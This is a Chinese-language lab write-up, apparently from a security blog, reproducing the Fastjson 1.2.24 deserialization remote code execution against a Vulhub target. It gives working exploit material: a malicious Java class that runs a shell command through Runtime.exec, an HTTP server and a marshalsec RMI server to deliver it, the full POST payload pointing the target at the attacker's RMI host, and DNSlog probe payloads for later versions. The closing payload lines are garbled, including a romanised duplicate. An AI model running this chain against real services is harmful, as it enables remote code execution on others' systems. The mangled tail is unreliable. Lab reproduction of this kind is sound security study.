Fastjson1.2.24RCE漏洞復現

Fastjson1.2.24RCE漏洞復現

環境搭建

這裡用的Vulhub靶場

cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d

報錯

ERROR: Get //registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution

image-20210303223504398

名稱解析失效,我的問題是虛擬機NAT網路出了點問題,重啟就好了。

參考://blog.csdn.net/qq_43743460/article/details/105648139

靶機環境:

Ubuntu 16 :Vulhub

Kali :

jdk 1.8 + maven 3.6.3

image-20210304155432710

如果maven沒有安裝的話需要自己百度搭一下或者參考我這篇

docker環境起來後訪問 ip:8090查看,頁面是這樣的。

image-20210304155251008

大致流程:

編寫惡意類 --> 編譯為class文件 --> 在class的目錄用python開一個HTTP服務 --> marshalsec起一個RMI服務 --> 構造包觸發反序列化點遠程載入惡意類 --> 執行命令

1234埠用Python起一個SimpleHTTPServer

9999埠利用marshalsec項目起一個RMI服務

HTTPServer與RMI可以在同一個伺服器搭

將下面程式碼寫入dnslog.java

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

生成 test.class文件

javac test.java

之後python起一個http服務,監聽在1234埠上

python -m SimpleHTTPServer 1234

用marshalsec項目起一個RMI服務,監聽9999埠並載入遠程類dnslog.class

git clone //github.com/mbechler/marshalsec.git
# mvn編譯 marshalsec項目
mvn clean package -DskipTests

編譯完成會出現如下圖的 BUILD SUCCESS 的INFO資訊。

image-20210304165816369

開啟RMI服務並載入dnslog類

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "//192.168.124.141:4567/#dnslog" 9999

漏洞復現

ok,下面burp抓包發送payload即可,因為DNS解析的問題,第一次解析會有些慢需要多等會。

poc:

POST / HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 174


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.124.141:9999/dnslog",
        "autoCommit":true
    }
}

響應包和DNSLOG:

image-20210305162850434

image-20210305163705407

RMI服務:

image-20210305163917727

SimpleHTTPServer:

image-20210305164047422

判斷fastjson

這裡參考的是freebuf大佬的思路,主要是根據返回包判斷,再一個就是DNSLOG盲打。文末貼上傳送門。

即看到json的返回包,抓個包,POST只加個 { 發過去,如果返回包報錯存在fastjson字樣就確認了。當然這個了能會屏蔽。

比如vulhub靶場這個就不可以了

image-20210308123007949

或構造以下payload,利用dnslog平台接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本後payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

"@type":"java.net.InetSocketAddress"{"address":,"val":"這裡是dnslog"}}


["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":

"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}

Reference

//www.freebuf.com/articles/web/242712.html

//www.cnblogs.com/cute-puli/p/13466362.html